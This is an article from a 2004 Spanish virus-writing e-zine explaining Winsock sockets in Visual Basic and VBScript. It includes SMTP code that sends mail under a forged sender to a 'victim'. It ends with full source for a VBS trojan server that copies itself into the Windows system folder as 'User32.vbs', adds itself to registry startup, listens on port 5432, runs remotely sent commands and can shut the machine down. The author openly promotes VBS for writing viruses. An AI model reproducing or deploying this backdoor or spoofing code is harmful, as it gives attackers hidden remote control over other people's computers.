(C) MITOSIS #2 E-Zine/GEDZAC 2004

Tema          : Sockets
Autor         : Nemlim
Vlido para   : Visual Basic 6 y VBS

Un socket es una representacin abstracta del extremo en  un proceso de comunica-
cin. Es un punto  de  acceso que una aplicacin  puede crear para acceder  a los
servicios de comunicacin que ofrecen las pilas de protocolos.
Para que se d la comunicacin en una red, el programa requiere un socket en cada
extremo del proceso de comunicacin.
Tratar de explicar todo lo  mejor posible, pero puede que algo se me escape. As
que no se queden en la lona y busquen ms info en Internet.

-------------------------------
Sockets en Visual Basic:
-------------------------------

API de Winsock:

Primero  y  principal, encontraran  el cdigo  de  las  API del Wsock32.dll en la
carpeta EJEMPLOS de esta E-Zine.

A continuacin, pongo  la  lista  de  las  funciones  ms importantes, explicando
brevemente su uso.

StartWinsock TempParam		Inicia los  sockets. Esto  es lo  primero que hay
				que  hacer, pues  no se puede  hacer  uso de  los
				mismos  si no se han iniciado antes. Su parametro
				debe ser  del  tipo String, y la funcin devuelve
				en el parmetro los datos de la dll.

ConnectSock H, P, R, W, A	Conecta el socket con el host  remoto. La funcin
				devuelve el ID del socket. Este ID debemos utili-
				zarlo  en  funciones  como SendData, CloseSocket,
				Recv, etc. Debemos pasarle como parmetro:
				(H) El nombre del host remoto
				(P) El puerto a conectarse
				(R) Cadena vaca. La funcin devolver la IP Host
				(W) El hWnd del formulario
				(A) Si se ejecuta en modo asncrono(TRUE o FALSE)


SendData socket, message	Enva datos  al servidor remoto. Como  parmetros
				debemos pasarle el ID socket, y el mensaje.

ListenForConnect Puerto, HWnd	Abre el puerto especificado en el parmetro. Ade-
				mas debemos pasarle el hWnd del formulario.

CloseSocket socket		Cierra la conexin actual del socket especificado

Recv socket, buf, buflen	Toma los datos  devueltos por  el servidor, y los
				almacena en la variable buf, en este ejemplo.
				Como  parmetros  les  pasamos  el  ID socket, la
				variable en donde queremos que almacene los datos
				devueltos, y el tamao de la variable.

GetLocalHostName		Devuelve el nombre de la Pc local.

AddrToIP hostname		Devuelve la direccin Ip del host especificado.

EndWinsock			Termina con la sesin de los sockets.


Envio de emails usando API de Winsock:

Bueno, ahora s vamos a darle verdadero sentido a los sockets. Metemos las APIs
en un mdulo, creamos  un  nuevo formulario con un timer (Nombre: TimerWinsock;
Intervalo: 10), y copiamos el cdigo que sigue:

'<!--Inicio del codigo del Formulario1--!>

Private SendStatus as Integer
Public mainSocket As Integer
Private tempInt As Integer

Private Sub Form_Load()
Dim sBuffer As String
StartWinsock sBuffer	'Inicia los sockets
Mailear "bush@imf.zzn.com", "mail.zzn.com"  'Llama a la funcin que enva emails
End Sub

Private Sub Mailear(DRcptTo As String, DServer)
Dim sBuffer   As String
Dim DHelo     As String
Dim DMensaje  As String
Dim DMailFrom As String
Dim DSubject  As String
Dim DFrom     As String

SendStatus = 1		'Establecemos el princpio del envo
DSubject = "Asunto"	'Asunto del mensaje
DHelo = GenerateCode(8) 'Carcteres aleatorios de 8 letras
DMailFrom = "anonimato@hotmail.com"	'Correo del que enva
DMensaje = "Mensaje del mail"		'Mensaje del email
If WSAStartedUp Then		'Si se iniciaron los sockets proseguimos
'Conectamos con el servidor Smtp:
mainSocket = ConnectSock(DServer, 25, sBuffer, Me.hWnd, False)

If not mainSocket = INVALID_SOCKET Then	'Si conecta es porque la direccion existe
TimerWinsock.Enabled = True	 'Activamos el timer que recibe y enva los datos

'Enviamos los datos al server smtp:
SendData mainSocket, "HELO " & DHelo & vbCrLf
SendData mainSocket, "MAIL FROM:<" & DMailFrom & ">" & vbCrLf
SendData mainSocket, "RCPT TO:<" & DRcptTo & ">" & vbCrLf
SendData mainSocket, "DATA" & vbCrLf
SendData mainSocket, "FROM: Nemlim" & vbCrLf & "TO: <" & DRcptTo & ">" & vbCrLf
SendData mainSocket, "SUBJECT: " & DSubject & vbCrLf
SendData mainSocket, DMensaje & vbCrLf
SendData mainSocket, vbCrLf & "." & vbCrLf
SendData mainSocket, "QUIT" & vbCrLf
End If
End If
End Sub

Function GenerateCode(NumChar As Integer)
'Funcin que genera caracteres aleatorios con la longitud
'que se desee. Esta funcin la saque de por ah, y no creo
'que necesite explicacin.

    Randomize Timer
    Dim Code As String
    Dim Chars As Integer
    Dim Alfa As Integer
    Code = ""
    For Chars = 1 To NumChar
        Alfa = Int(Rnd * 2 + 1)
        If Alfa = 2 Then
            Code = Chr(Int((Rnd * 25 + 1) + 97)) & Code
        Else
            Code = Int((Rnd * 9 + 1)) & Code
        End If
    Next
    GenerateCode = Code
End Function

Private Sub Form_Unload(Cancel As Integer)
    EndWinsock		'Terminamos con los sockets abiertos
End Sub

Private Sub TimerWinsock_Timer()
'Este timer es opcional. Es solo para mostrar el funcionamiento
'de la funcin Recv, y en este ejemplo no es necesario para mandar mails.
    Dim tempString As String
    
    tempString = String(255, Chr(0))	'Asignamos 255 espacios en la variable
    tempInt = recv(mainSocket, tempString, 255)	'Recibimos los datos que nos 
    'envan, y los asignamos en la variable tempString
    
    'tempInt toma el valor de la cantidad de caracteres que tienen los datos que
    'recibimos del socket.

    If tempInt = -1 Then 'Cuando no se envan datos tempInt toma valor de -1
        tempString = ""
    Else
        tempString = Left(tempString, tempInt) 'Si se envan datos recortamos los
                                               'espacios
    End If
    
    If tempString <> "" Then	'Si la variable no est vaca proseguimos
    'A esta altura tempString tiene los datos recibidos
    'Si se quiere mostrarlos, podemos poner lo siguiente:
    '    Text1.Text = Text1.Text & vbCrLf & tempString
    End If
End Sub

'<!--Fin del codigo del Formulario1--!>

Existe un control, llamado MSWinsock, el cual podemos utilizar en Visual Basic, y
Visual Basic Script, que  permite hacer uso  de  los  sockets fcilmente, pero su
unico defecto, y es  que es un impedimento trabajar  con las manos atadas, es que
este control  debe estar  registrado, y con su correspondiente licensia de uso, y
adems no  viene por defecto con la  instalacin de Windows. Para agregarlo en un
Visual Basic vamos al men Proyect| Components. En la lista marcamos  el que dice
"Microsoft Winsock Control 6.0". Si no aparece en la lista significa que no tenes
el control o que no lo registraste. Para hacer uso del winsock  en VBS lo creamos
como un objeto normal, y  accedemos a  sus eventos mediante las especificacion en
el segundo  parmetro, en el comando CreateObject(objeto,evento). De  esta manera
crearemos  el objeto "MsWinsock.Winsock", y  en el  evento  pondremos "sck_" para
hacer uso de sus eventos.

Propiedades y mtodos del MSWinsock:

Winsock1.Connect RH, 25		Conecta el  socket  con el host remoto (RH), y en
				el  puerto  que se especifique. Para  el servicio
				smtp, el puerto  es  el 25. Este mtodo  se puede
				utilizar sin  parmetros, si antes se especifica-
				ron el  host y  el puerto en  las propiedades del
				Winsock, RemoteHost y RemotePort.

Winsock1.Close			Cierra la actual conexin del socket.

Winsock1.GetData Data		Toma  los  datos devueltos por el servidor, y los
				almacena  en  la variable Data, en  este ejemplo.
				Este mtodo  se  coloca en el evento DataArrival,
				ya  que  es en  este evento  en el que nos envan
				datos.

Winsock1.Listen			Ponemos  a  la  escucha el socket, a la espera de
				una  conexin. El puerto  abierto  es  el que  se
				especifique   previamente  en  la  propiedad  del
				socket, LocalPort.

Winsock1.SendData Data		Enviamos  datos al servidor, siempre que la cone-
				xin lo permita.

Winsock1.Accept requestID	Acepta  un  pedido  de  conexin, en  el  evento
				ConnectionRequest. Este evento se produce cuando
				dejamos un puerto a la escucha, y el host remoto
				pide conectarse a nuestra Pc.


Winsock1.LocalHostName		Devuelve el nombre de la Pc local

Winsock1.LocalIP		Devuelve el numero Ip de la Pc Local

Winsock1.LocalPort		Establece el puerto a abrir o escuchar

Winsock1.RemoteHost		Devuelve o establece el nombre del host remoto

Winsock1.RemoteHostIP		Devuelve o establece el numero IP del host remoto

Winsock1.RemotePort		Establece el  puerto  del  host remoto  al que el
				socket se conectar.

Winsock1.State			Devuelve el estado actual en el  que se encuentra
				el socket. Los valores devueltos son:
				0 Predeterminado. Cerrado
				1 Abierto 
				2 Escuchando 
				3 Conexin pendiente 
				4 Resolviendo host 
				5 Host resuelto 
				6 Conectando 
				7 Conectado 
				8 El equipo est cerrando la conexin 
				9 Error

-------------------------------
Sockets en Visual Basic Script:
-------------------------------

Envio de emails usando motor smtp:

*********************************************************************************
NOTA: Este es  solo  un  ejemplo ilustrativo. Algunos  servidores  como hotmail y
yahoo, no permiten hacer uso del servicio smtp, por  lo que si lo intentas proba-
blemente no te funcione. Creo que no hece falta decir que los emails expuestos no
existen, y  debes cambiarlos a tu gusto. Si no sabes la direccion smtp del correo
del  destinatario,  casi  siempre  son  de  este  formato: "mail.servidor.com"  o
"smtp.servidor.com". Por  ejemplo, si  la  direccin  de  correo de la vctima es
"pepito@fullzero.com", probablemente el servidor podra ser "mail.fullzero.com" o
"smtp.fullzero.com".

'<!-- Inicio del codigo --!>
Set W=I()   'Llamamos a la funcion que crea el winsock, y accederemos a l
            'mediante la variable "W"
SendStatus = 1
DServer = "mail.zzn.com"  	      'Establecemos el servidor
DHelo = "aasdfgzx"                    'Asignamos una var con 8 letras aleatorias
DMailFrom = "anonimato@hotmail.com"   'Ponemos un email cualquiera
DRcptTo = "destinatario@zzn.com"      'Es el que recibir el mail
DFrom = "El Ano N. Imato"	      'Campo De
DSubject = "Asunto"		      'Campo Asunto
DMensaje = "Mensaje"		      'Campo Mensaje
wscript.echo("comenzando")	      'Nos indica que el script ha empezado
w.Close				      'Cerramos el socket, si es que est abierto
w.Connect DServer, 25                 'Conectamos con el servidor, al puerto 25
While w.State <> 0            'Hasta que no nos conectemos, el bucle no terminar
	wscript.sleep 30      'Detenemos por unos milisegundos el script, para
                              'que no se "cuelgue", como se cuelgan la mayoria de
                              'los programas en windows :(
Wend

Sub sck_DataArrival(b)   'Este evento se produce cuando al socket le llegan datos
'Enviamos paso por paso, los datos al servidor
Select Case SendStatus
case 1
w.SendData "HELO " & DHelo & vbCrLf 
SendStatus = SendStatus + 1
case 2
w.SendData "MAIL FROM:<" & DMailFrom & ">" & vbCrLf 
SendStatus = SendStatus + 1
case 3
w.SendData "RCPT TO:<" & DRcptTo & ">" & vbCrLf
SendStatus = SendStatus + 1
case 4
w.SendData "DATA" & vbCrLf 
SendStatus = SendStatus + 1
case 5
w.SendData "FROM: " & DFrom & vbCrLf & "To: <" & DRcptTo & ">" & vbCrLf & _
"SUBJECT: " & DSubject & vbCrLf & DMensaje & vbCrLf & vbCrLf & "." & vbCrLf
SendStatus = SendStatus + 1
case 6
w.SendData "QUIT" & vbCrLf
SendStatus = SendStatus + 1
w.close	'Cerramos el socket
wscript.echo("Desconectado")
end select
end sub

Sub sck_Error(ByVal N,D,c,S,F,H,A)
'Si ocurre un error cerramos el socket y mostramos el error
	W.Close
	If N=10061 Then
		WScript.StdOut.Write "."
	Else
		msgbox P & ":" & N & " " & D
	End If
End Sub

Function I()
On Error Resume Next
Err.Number=0
Set I= CreateObject("MSWinsock.Winsock","sck_") 'Creamos el Winsock, y asignamos
                                                'sck_ como nombre de evento

        'Si se produce un error, puede se debido a los siguientes mensajes:
Select Case Err.Number
case &H80040112
   msgbox "No licence found. Install Visual Studio"
case &H80020009
   msgbox "ActiveX Winsock not registered - use regsvr32"
Case else
   msgbox "Error "& Err.Number &" - &H" & Hex(Err.Number) &" - "& Err.Description
End Select
End Function

'<!-- Fin del codigo --!>


Espero que hallan entendido, porque la intencin estuvo. Trate de explicar cada
lnea lo ms posible, as que  si  alguien no entendi, me envian un mail y ya.


Troyanos en VBS????:

Si, si es posible, dentro del limitado lenguaje  vbs, por supuesto. La vctima
debe tener ciertas condiciones, pero la intencin est. El siguiente cdigo es
del servidor del troyano. El cliente se puede construir en cualquier lenguaje,
aunque vbs no es el ms adecuado, pienso yo.

'<!-- Inicio del codigo --!>

On Error Resume Next	'Si ocurre un error continuamos con la lnea siguiente
Set W=I()   'Llamamos a la funcion que crea el winsock, y accederemos a l
            'mediante la variable "W"

Set Ws = CreateObject("WScript.Shell") 'Creamos objetos para usarlos mas adelante
Set Fso = CreateObject("Scripting.FileSystemObject")

Set DirWin = Fso.GetSpecialFolder(0)	'Establecemos el directorio de windows
Set DirSystem = Fso.GetSpecialFolder(1)	'Asignamos el directorio de sistema

If Not Fso.FileExist(DirSystem & "\User32.vbs") Then 'Sino nos hemos copiado antes
Fso.CopyFile (WScript.ScriptFullname), DirSystem & "\User32.vbs" 'Nos copiamos
End if

L = Ws.regRead("HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\User32")
If L = "" Then
Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\User32", _
DirSystem & "\User32.vbs" 'Nos ponemos al inicio del sistema
End if

W.LocalPort = "5432"	'Establecemos el puerto del troyano
W.Listen		'Ponemos a la escucha el socket
Do                      'Nos quedamos en la memoria, con un bucle infinito
    wscript.sleep 30    'Dormimos al script para no "colgarnos"
Loop


Sub sck_ConnectionRequest(requestID)
If W.State <> sckClosed Then W.Close	'Si el winsock est abierto lo cerramos.
W.Accept requestID 			'Aceptamos la conexin
End Sub

Sub sck_Error(ByVal N,D,c,S,F,H,A)
'Si ocurre un error, cerramos y volvemos a escuchar.
W.Close
W.Listen
End Sub


Sub sck_Close()
'Si se cierra la conexin, volvemos a escuchar.
W.Listen
End Sub


Sub sck_DataArrival(bytesTotal)
On Error Resume Next 		'Si ocurre un error que lea la siguiente lnea
Dim data1 			'Declaramos la variable que recibir los datos
W.GetData data1      		'Tomamos los datos que nos envan
If data1 <> "" then		'Si de verdad nos envan algo proseguimos
Select Case mid(data1,1,10) 	'Nos fijmos que accin nos estn mandando
Case "#EJECUTAR#"
Ws.Run mid(data1,10,len(data1)) 'Ejecuta el comando que se enve
Case "#APAGARPC#"
Ws.Run DirWin & "\RUNDLL32.EXE user.exe,ExitWindows" 'Apaga la Pc
Case "##MSGBOX##"
Msgbox mid(data1,10,len(data1))	'Muestra el mensaje enviado
End select
End if
End Sub

Function I()      'Funcion que crea el objeto Winsock
On Error Resume Next 'Si ocurre un error, no nos importa
Err.Number=0
Set I= CreateObject("MSWinsock.Winsock","sck_")  'Creamos el Winsock, y asignamos
                                                 'sck_ como nombre de evento:
End Function

'<!-- Fin del codigo --!>

Hata ki noms. Como ven, el uso del winsock en vbs se trata casi igual que en
Visual Basic, con algunas diferencias. El uso del control winsock en vbs trae
varias ventajas, asi como tambin desventajas, pero nada es color de rosas.
Esto solo fu una excusa para que el vbs no sea un lenguaje del pasado y se
siga programando. Para m es uno de los mejores lenguajes de "programacin" de
virus que existi en la historia, no solo por su capacidad de polimorfismo, por
el uso de objetos externos, por su relacin con MsOffice, por su capacidad de
infectar muchas extenciones diferentes, de acceder al registro sencillamente,
sino tambin por su extremadamente fcil programacin. Que el VBS no muera!

(C) MITOSIS #2 E-Zine/GEDZAC 2004